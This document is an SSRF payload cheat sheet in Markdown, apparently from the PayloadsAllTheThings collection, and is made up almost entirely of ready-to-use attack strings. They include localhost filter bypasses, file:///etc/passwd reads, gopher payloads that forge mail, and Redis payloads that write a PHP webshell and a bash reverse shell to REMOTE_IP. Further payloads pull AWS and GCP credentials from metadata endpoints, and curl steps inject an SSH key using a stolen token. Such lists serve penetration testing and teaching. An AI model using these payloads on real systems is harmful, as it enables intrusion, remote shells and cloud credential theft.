771 lines
26 KiB
Markdown
771 lines
26 KiB
Markdown
# Server-Side Request Forgery
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> Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.
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## Summary
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* [Tools](#tools)
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* [Payloads with localhost](#payloads-with-localhost)
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* [Bypassing filters](#bypassing-filters)
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* [Bypass using HTTPS](#bypass-using-https)
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* [Bypass localhost with [::]](#bypass-localhost-with-)
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* [Bypass localhost with a domain redirection](#bypass-localhost-with-a-domain-redirection)
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* [Bypass localhost with CIDR](#bypass-localhost-with-cidr)
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* [Bypass using a decimal IP location](#bypass-using-a-decimal-ip-location)
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* [Bypass using IPv6/IPv4 Address Embedding](#bypass-using-ipv6ipv4-address-embedding)
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* [Bypass using malformed urls](#bypass-using-malformed-urls)
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* [Bypass using rare address](#bypass-using-rare-address)
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* [Bypass using URL encoding](#bypass-using-url-encoding)
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* [Bypass using bash variables](#bypass-using-bash-variables)
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* [Bypass using tricks combination](#bypass-using-tricks-combination)
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* [Bypass using enclosed alphanumerics](#bypass-using-enclosed-alphanumerics)
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* [Bypass filter_var() php function](#bypass-filter_var-php-function)
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* [Bypass against a weak parser](#bypass-against-a-weak-parser)
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* [SSRF exploitation via URL Scheme](#ssrf-exploitation-via-url-scheme)
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* [file://](#file)
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* [http://](#http)
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* [dict://](#dict)
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* [sftp://](#sftp)
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* [tftp://](#tftp)
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* [ldap://](#ldap)
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* [gopher://](#gopher)
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* [netdoc://](#netdoc)
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* [SSRF exploiting WSGI](#ssrf-exploiting-wsgi)
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* [SSRF exploiting Redis](#ssrf-exploiting-redis)
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* [SSRF to XSS](#ssrf-to-xss)
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* [SSRF from XSS](#ssrf-from-xss)
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* [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances)
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* [SSRF URL for AWS Bucket](#ssrf-url-for-aws-bucket)
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* [SSRF URL for AWS ECS](#ssrf-url-for-aws-ecs)
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* [SSRF URL for AWS Elastic Beanstalk](#ssrf-url-for-aws-elastic-beanstalk)
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* [SSRF URL for AWS Lambda](#ssrf-url-for-aws-lambda)
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* [SSRF URL for Google Cloud](#ssrf-url-for-google-cloud)
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* [SSRF URL for Digital Ocean](#ssrf-url-for-digital-ocean)
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* [SSRF URL for Packetcloud](#ssrf-url-for-packetcloud)
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* [SSRF URL for Azure](#ssrf-url-for-azure)
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* [SSRF URL for OpenStack/RackSpace](#ssrf-url-for-openstackrackspace)
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* [SSRF URL for HP Helion](#ssrf-url-for-hp-helion)
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* [SSRF URL for Oracle Cloud](#ssrf-url-for-oracle-cloud)
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* [SSRF URL for Kubernetes ETCD](#ssrf-url-for-kubernetes-etcd)
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* [SSRF URL for Alibaba](#ssrf-url-for-alibaba)
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* [SSRF URL for Docker](#ssrf-url-for-docker)
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* [SSRF URL for Rancher](#ssrf-url-for-rancher)
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## Tools
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- [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap)
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- [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus)
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- [See-SURF - https://github.com/In3tinct/See-SURF](https://github.com/In3tinct/See-SURF)
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- [SSRF Sheriff - https://github.com/teknogeek/ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff)
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## Payloads with localhost
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Basic SSRF v1
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```powershell
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http://127.0.0.1:80
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http://127.0.0.1:443
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http://127.0.0.1:22
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http://0.0.0.0:80
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http://0.0.0.0:443
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http://0.0.0.0:22
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```
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Basic SSRF - Alternative version
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```powershell
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http://localhost:80
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http://localhost:443
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http://localhost:22
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```
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## Bypassing filters
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### Bypass using HTTPS
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```powershell
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https://127.0.0.1/
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https://localhost/
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```
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### Bypass localhost with [::]
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```powershell
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http://[::]:80/
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http://[::]:25/ SMTP
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http://[::]:22/ SSH
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http://[::]:3128/ Squid
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```
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```powershell
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http://0000::1:80/
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http://0000::1:25/ SMTP
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http://0000::1:22/ SSH
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http://0000::1:3128/ Squid
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```
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### Bypass localhost with a domain redirection
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```powershell
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http://spoofed.burpcollaborator.net
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http://localtest.me
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http://customer1.app.localhost.my.company.127.0.0.1.nip.io
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http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
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http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
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```
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The service nip.io is awesome for that, it will convert any ip address as a dns.
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```powershell
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NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
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```
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### Bypass localhost with CIDR
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It's a /8
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```powershell
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http://127.127.127.127
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http://127.0.1.3
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http://127.0.0.0
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```
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### Bypass using a decimal IP location
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```powershell
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http://0177.0.0.1/
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http://2130706433/ = http://127.0.0.1
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http://3232235521/ = http://192.168.0.1
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http://3232235777/ = http://192.168.1.1
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```
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### Bypass using IPv6/IPv4 Address Embedding
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[IPv6/IPv4 Address Embedding](http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm)
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```powershell
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http://[0:0:0:0:0:ffff:127.0.0.1]
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```
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### Bypass using malformed urls
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```powershell
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localhost:+11211aaa
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localhost:00011211aaaa
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```
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### Bypass using rare address
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You can short-hand IP addresses by dropping the zeros
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```powershell
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http://0/
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http://127.1
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http://127.0.1
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```
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### Bypass using URL encoding
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[Single or double encode a specific URL to bypass blacklist](https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter)
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```powershell
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http://127.0.0.1/%61dmin
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http://127.0.0.1/%2561dmin
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```
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### Bypass using bash variables
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(curl only)
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```powershell
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curl -v "http://evil$google.com"
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$google = ""
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```
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### Bypass using tricks combination
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```powershell
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http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
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urllib2 : 1.1.1.1
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requests + browsers : 2.2.2.2
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urllib : 3.3.3.3
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```
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### Bypass using enclosed alphanumerics
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[@EdOverflow](https://twitter.com/EdOverflow)
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```powershell
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http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
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List:
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① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
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```
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### Bypass filter_var() php function
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```powershell
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0://evil.com:80;http://google.com:80/
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```
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### Bypass against a weak parser
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by Orange Tsai ([Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf))
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```powershell
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http://127.1.1.1:80\@127.2.2.2:80/
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http://127.1.1.1:80\@@127.2.2.2:80/
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http://127.1.1.1:80:\@@127.2.2.2:80/
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http://127.1.1.1:80#\@127.2.2.2:80/
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```
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![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_Parser.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.jpg?raw=true)
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### Bypassing using a redirect
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[using a redirect](https://portswigger.net/web-security/ssrf#bypassing-ssrf-filters-via-open-redirection)
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```powershell
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1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)
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2. Launch the SSRF pointing to vulnerable.com/index.php?url=http://YOUR_SERVER_IP
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vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
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```
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### Bypassing using type=url
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```powershell
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Change "type=file" to "type=url"
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Paste URL in text field and hit enter
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Using this vulnerability users can upload images from any image URL = trigger an SSRF
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```
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### Bypassing using DNS Rebinding (TOCTOU)
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```powershell
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Create a domain that change between two IPs. http://1u.ms/ exists for this purpose.
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For example to rotate between 1.2.3.4 and 169.254-169.254, use the following domain:
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make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
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```
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## SSRF exploitation via URL Scheme
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### File
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Allows an attacker to fetch the content of a file on the server
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```powershell
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file://path/to/file
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file:///etc/passwd
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file://\/\/etc/passwd
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ssrf.php?url=file:///etc/passwd
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```
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### HTTP
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Allows an attacker to fetch any content from the web, it can also be used to scan ports.
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```powershell
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ssrf.php?url=http://127.0.0.1:22
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ssrf.php?url=http://127.0.0.1:80
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ssrf.php?url=http://127.0.0.1:443
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```
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![SSRF stream](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_stream.png?raw=true)
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The following URL scheme can be used to probe the network
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### Dict
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The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
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```powershell
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dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
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ssrf.php?url=dict://attacker:11111/
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```
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### SFTP
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A network protocol used for secure file transfer over secure shell
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```powershell
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ssrf.php?url=sftp://evil.com:11111/
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```
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### TFTP
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Trivial File Transfer Protocol, works over UDP
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```powershell
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ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
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```
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### LDAP
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Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
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```powershell
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ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
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```
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### Gopher
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```powershell
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ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
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will make a request like
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HELO localhost
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MAIL FROM:<hacker@site.com>
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RCPT TO:<victim@site.com>
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DATA
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From: [Hacker] <hacker@site.com>
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To: <victime@site.com>
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Date: Tue, 15 Sep 2017 17:20:26 -0400
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Subject: Ah Ah AH
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You didn't say the magic word !
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.
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QUIT
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```
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#### Gopher HTTP
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```powershell
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gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
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gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
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```
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#### Gopher SMTP - Back connect to 1337
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```php
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Content of evil.com/redirect.php:
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<?php
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header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
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?>
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Now query it.
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https://example.com/?q=http://evil.com/redirect.php.
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```
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#### Gopher SMTP - send a mail
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```php
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Content of evil.com/redirect.php:
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<?php
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$commands = array(
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'HELO victim.com',
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'MAIL FROM: <admin@victim.com>',
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'RCPT To: <sxcurity@oou.us>',
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'DATA',
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'Subject: @sxcurity!',
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'Corben was here, woot woot!',
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'.'
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);
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$payload = implode('%0A', $commands);
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header('Location: gopher://0:25/_'.$payload);
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?>
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```
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### Netdoc
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Wrapper for Java when your payloads struggle with "\n" and "\r" characters.
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```powershell
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ssrf.php?url=gopher://127.0.0.1:4242/DATA
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```
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## SSRF exploiting WSGI
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Exploit using the Gopher protocol, full exploit script available at https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py.
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```powershell
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gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
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```
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| Header | | |
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|-----------|-----------|-------------|
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| modifier1 | (1 byte) | 0 (%00) |
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| datasize | (2 bytes) | 26 (%1A%00) |
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| modifier2 | (1 byte) | 0 (%00) |
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| Variable (UWSGI_FILE) | | | | |
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|-----------------------|-----------|----|------------|---|
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| key length | (2 bytes) | 10 | (%0A%00) | |
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| key data | (m bytes) | | UWSGI_FILE | |
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| value length | (2 bytes) | 12 | (%0C%00) | |
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| value data | (n bytes) | | /tmp/test.py | |
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## SSRF exploiting Redis
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> Redis is a database system that stores everything in RAM
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```powershell
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# Getting a webshell
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url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
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url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
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url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
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url=dict://127.0.0.1:6379/SAVE
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# Getting a PHP reverse shell
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gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
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gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
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gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
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gopher://127.0.0.1:6379/_save
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```
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## SSRF exploiting PDF file
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Example with [WeasyPrint by @nahamsec](https://www.youtube.com/watch?v=t5fB6OZsR6c&feature=emb_title)
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```powershell
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<link rel=attachment href="file:///root/secret.txt">
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```
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## SSRF to XSS
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by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
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```bash
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http://brutelogic.com.br/poc.svg -> simple alert
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https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf
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https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
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```
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|
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## SSRF from XSS
|
||
|
||
### Using an iframe
|
||
|
||
The content of the file will be integrated inside the PDF as an image or text.
|
||
|
||
```html
|
||
<img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
|
||
```
|
||
|
||
### Using an attachment
|
||
|
||
Example of a PDF attachment using HTML
|
||
|
||
1. use `<link rel=attachment href="URL">` as Bio text
|
||
2. use 'Download Data' feature to get PDF
|
||
3. use `pdfdetach -saveall filename.pdf` to extract embedded resource
|
||
4. `cat attachment.bin`
|
||
|
||
## SSRF URL for Cloud Instances
|
||
|
||
### SSRF URL for AWS Bucket
|
||
|
||
[Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories)
|
||
Interesting path to look for at `http://169.254.169.254` or `http://instance-data`
|
||
|
||
```powershell
|
||
Always here : /latest/meta-data/{hostname,public-ipv4,...}
|
||
User data (startup script for auto-scaling) : /latest/user-data
|
||
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
|
||
```
|
||
|
||
DNS record
|
||
|
||
```powershell
|
||
http://instance-data
|
||
http://169.254.169.254
|
||
http://169.254.169.254.xip.io/
|
||
http://1ynrnhl.xip.io/
|
||
http://www.owasp.org.1ynrnhl.xip.io/
|
||
```
|
||
|
||
HTTP redirect
|
||
|
||
```powershell
|
||
Static:http://nicob.net/redir6a
|
||
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
|
||
```
|
||
|
||
Alternate IP encoding
|
||
|
||
```powershell
|
||
http://425.510.425.510/ Dotted decimal with overflow
|
||
http://2852039166/ Dotless decimal
|
||
http://7147006462/ Dotless decimal with overflow
|
||
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
|
||
http://0xA9FEA9FE/ Dotless hexadecimal
|
||
http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
|
||
http://0251.0376.0251.0376/ Dotted octal
|
||
http://0251.00376.000251.0000376/ Dotted octal with padding
|
||
```
|
||
|
||
More urls to include
|
||
|
||
```powershell
|
||
http://169.254.169.254/latest/user-data
|
||
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
|
||
http://169.254.169.254/latest/meta-data/
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
|
||
http://169.254.169.254/latest/meta-data/ami-id
|
||
http://169.254.169.254/latest/meta-data/reservation-id
|
||
http://169.254.169.254/latest/meta-data/hostname
|
||
http://169.254.169.254/latest/meta-data/public-keys/
|
||
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
|
||
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
|
||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||
```
|
||
|
||
E.g: Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance`
|
||
|
||
E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`
|
||
|
||
### SSRF URL for AWS ECS
|
||
|
||
If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID.
|
||
|
||
```powershell
|
||
curl http://169.254.170.2/v2/credentials/<UUID>
|
||
```
|
||
|
||
This way you'll extract IAM keys of the attached role
|
||
|
||
### SSRF URL for AWS Elastic Beanstalk
|
||
|
||
We retrieve the `accountId` and `region` from the API.
|
||
|
||
```powershell
|
||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
|
||
We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
|
||
|
||
```powershell
|
||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||
```
|
||
|
||
![notsosecureblog-awskey](https://www.notsosecure.com/wp-content/uploads/2019/02/aws-cli.jpg)
|
||
|
||
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
||
|
||
|
||
### SSRF URL for AWS Lambda
|
||
|
||
AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.
|
||
|
||
```powershell
|
||
http://localhost:9001/2018-06-01/runtime/invocation/next
|
||
$ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
|
||
```
|
||
|
||
Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next
|
||
|
||
### SSRF URL for Google Cloud
|
||
|
||
:warning: Google is shutting down support for usage of the **v1 metadata service** on January 15.
|
||
|
||
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
|
||
|
||
```powershell
|
||
http://169.254.169.254/computeMetadata/v1/
|
||
http://metadata.google.internal/computeMetadata/v1/
|
||
http://metadata/computeMetadata/v1/
|
||
http://metadata.google.internal/computeMetadata/v1/instance/hostname
|
||
http://metadata.google.internal/computeMetadata/v1/instance/id
|
||
http://metadata.google.internal/computeMetadata/v1/project/project-id
|
||
```
|
||
|
||
Google allows recursive pulls
|
||
|
||
```powershell
|
||
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
|
||
```
|
||
|
||
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
|
||
|
||
```powershell
|
||
http://metadata.google.internal/computeMetadata/v1beta1/
|
||
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
||
```
|
||
|
||
Required headers can be set using a gopher SSRF with the following technique
|
||
|
||
```powershell
|
||
gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a
|
||
```
|
||
|
||
Interesting files to pull out:
|
||
|
||
- SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`
|
||
- Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`
|
||
- Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`
|
||
|
||
#### Add an SSH key
|
||
|
||
Extract the token
|
||
|
||
```powershell
|
||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||
```
|
||
|
||
Check the scope of the token
|
||
|
||
```powershell
|
||
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
|
||
|
||
{
|
||
"issued_to": "101302079XXXXX",
|
||
"audience": "10130207XXXXX",
|
||
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
||
"expires_in": 2443,
|
||
"access_type": "offline"
|
||
}
|
||
```
|
||
|
||
Now push the SSH key.
|
||
|
||
```powershell
|
||
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
||
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
||
-H "Content-Type: application/json"
|
||
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
||
```
|
||
|
||
### SSRF URL for Digital Ocean
|
||
|
||
Documentation available at `https://developers.digitalocean.com/documentation/metadata/`
|
||
|
||
```powershell
|
||
curl http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1.json
|
||
http://169.254.169.254/metadata/v1/
|
||
http://169.254.169.254/metadata/v1/id
|
||
http://169.254.169.254/metadata/v1/user-data
|
||
http://169.254.169.254/metadata/v1/hostname
|
||
http://169.254.169.254/metadata/v1/region
|
||
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
|
||
|
||
All in one request:
|
||
curl http://169.254.169.254/metadata/v1.json | jq
|
||
```
|
||
|
||
### SSRF URL for Packetcloud
|
||
|
||
Documentation available at `https://metadata.packet.net/userdata`
|
||
|
||
### SSRF URL for Azure
|
||
|
||
Limited, maybe more exists? `https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`
|
||
|
||
```powershell
|
||
http://169.254.169.254/metadata/v1/maintenance
|
||
```
|
||
|
||
Update Apr 2017, Azure has more support; requires the header "Metadata: true" `https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`
|
||
|
||
```powershell
|
||
http://169.254.169.254/metadata/instance?api-version=2017-04-02
|
||
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
||
```
|
||
|
||
### SSRF URL for OpenStack/RackSpace
|
||
|
||
(header required? unknown)
|
||
|
||
```powershell
|
||
http://169.254.169.254/openstack
|
||
```
|
||
|
||
### SSRF URL for HP Helion
|
||
|
||
(header required? unknown)
|
||
|
||
```powershell
|
||
http://169.254.169.254/2009-04-04/meta-data/
|
||
```
|
||
|
||
### SSRF URL for Oracle Cloud
|
||
|
||
```powershell
|
||
http://192.0.0.192/latest/
|
||
http://192.0.0.192/latest/user-data/
|
||
http://192.0.0.192/latest/meta-data/
|
||
http://192.0.0.192/latest/attributes/
|
||
```
|
||
|
||
### SSRF URL for Alibaba
|
||
|
||
```powershell
|
||
http://100.100.100.200/latest/meta-data/
|
||
http://100.100.100.200/latest/meta-data/instance-id
|
||
http://100.100.100.200/latest/meta-data/image-id
|
||
```
|
||
|
||
### SSRF URL for Kubernetes ETCD
|
||
|
||
Can contain API keys and internal ip and ports
|
||
|
||
```powershell
|
||
curl -L http://127.0.0.1:2379/version
|
||
curl http://127.0.0.1:2379/v2/keys/?recursive=true
|
||
```
|
||
|
||
### SSRF URL for Docker
|
||
|
||
```powershell
|
||
http://127.0.0.1:2375/v1.24/containers/json
|
||
|
||
Simple example
|
||
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
|
||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
|
||
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
|
||
```
|
||
|
||
More info:
|
||
|
||
- Daemon socket option: https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option
|
||
- Docker Engine API: https://docs.docker.com/engine/api/latest/
|
||
|
||
### SSRF URL for Rancher
|
||
|
||
```powershell
|
||
curl http://rancher-metadata/<version>/<path>
|
||
```
|
||
|
||
More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/
|
||
|
||
|
||
## References
|
||
|
||
- [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - 2017-12-13](https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/)
|
||
- [ESEA Server-Side Request Forgery and Querying AWS Meta Data](http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/) by Brett Buerhaus
|
||
- [SSRF and local file read in video to gif converter](https://hackerone.com/reports/115857)
|
||
- [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748)
|
||
- [SSRF in proxy.duckduckgo.com](https://hackerone.com/reports/358119)
|
||
- [Blind SSRF on errors.hackerone.net](https://hackerone.com/reports/374737)
|
||
- [SSRF on *shopifycloud.com](https://hackerone.com/reports/382612)
|
||
- [Hackerone - How To: Server-Side Request Forgery (SSRF)](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
|
||
- [Awesome URL abuse for SSRF by @orange_8361 #BHUSA](https://twitter.com/albinowax/status/890725759861403648)
|
||
- [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
|
||
- [#HITBGSEC 2017 SG Conf D1 - A New Era Of SSRF - Exploiting Url Parsers - Orange Tsai](https://www.youtube.com/watch?v=D1S-G8rJrEk)
|
||
- [SSRF Tips - xl7dev](http://blog.safebuff.com/2016/07/03/SSRF-Tips/)
|
||
- [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748)
|
||
- [Les Server Side Request Forgery : Comment contourner un pare-feu - @Geluchat](https://www.dailysecurity.fr/server-side-request-forgery/)
|
||
- [AppSecEU15 Server side browsing considered harmful - @Agarri](http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
|
||
- [Enclosed alphanumerics - @EdOverflow](https://twitter.com/EdOverflow)
|
||
- [Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity](http://www.sxcurity.pro/2017/12/17/hackertarget/)
|
||
- [PHP SSRF @secjuice](https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51)
|
||
- [How I convert SSRF to xss in a ssrf vulnerable Jira](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
|
||
- [Piercing the Veil: Server Side Request Forgery to NIPRNet access](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a)
|
||
- [Hacker101 SSRF](https://www.youtube.com/watch?v=66ni2BTIjS8)
|
||
- [SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例](https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/)
|
||
- [SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 - SaN ThosH - 10 Jan 2019](https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978)
|
||
- [SSRF Protocol Smuggling in Plaintext Credential Handlers : LDAP - @0xrst](https://www.silentrobots.com/blog/2019/02/06/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/)
|
||
- [X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG @quanyang](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/)
|
||
- [Exploiting SSRF in AWS Elastic Beanstalk - February 1, 2019 - @notsosecure](https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/)
|
||
- [PortSwigger - Web Security Academy Server-side request forgery (SSRF)](https://portswigger.net/web-security/ssrf)
|
||
- [SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - 12/06/2019](https://github.com/allanlw/svg-cheatsheet)
|
||
- [SSRF’s up! Real World Server-Side Request Forgery (SSRF) - shorebreaksecurity - 2019](https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/)
|
||
